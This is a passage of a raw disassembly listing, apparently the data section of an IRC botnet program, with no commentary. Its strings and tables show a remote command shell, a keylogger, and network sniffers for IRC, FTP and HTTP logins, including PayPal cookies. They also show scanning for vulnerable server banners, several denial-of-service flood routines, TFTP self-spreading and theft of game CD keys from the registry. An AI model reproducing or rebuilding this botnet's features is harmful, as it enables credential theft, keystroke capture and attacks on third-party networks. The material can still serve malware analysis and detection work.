3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434150 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43418C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_4341B8 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341E4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434380 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_4343B4 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343FC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434424 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434464 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_4344A4 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344E4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E54 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E84: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435748 dd offset off_435744 dd offset off_435740 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h db 0 db 3 dup(0) ; DATA XREF: ___:off_435744o dd 3 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EDCo align 10h off_435740 dd offset word_505446 ; DATA XREF: ___:00434ED8o off_435744 dd offset byte_435249 ; DATA XREF: ___:00434ED4o off_435748 dd offset word_544F42 ; DATA XREF: ___:00434ED0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_4359BC db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359F4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_435A2C db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A60 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A94 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AF8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B4C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D74 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436164 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436178 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_4361B0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_4361C4 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361D8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361F4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_436224 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436230 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 4373B4h, 4373A8h, 437398h, 2 dup(0) dd 80000001h, 437378h, 437374h, 437360h, 2 dup(0) dd 80000001h, 43733Ch, 437374h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437304h, 4372F0h, 2 dup(0) dd 80000001h, 4372DCh, 4372CCh, 4372B0h, 2 dup(0) dd 80000001h, 43726Ch, 4373F4h, 437258h, 2 dup(0) dd 80000002h, 43722Ch, 437220h, 437200h, 2 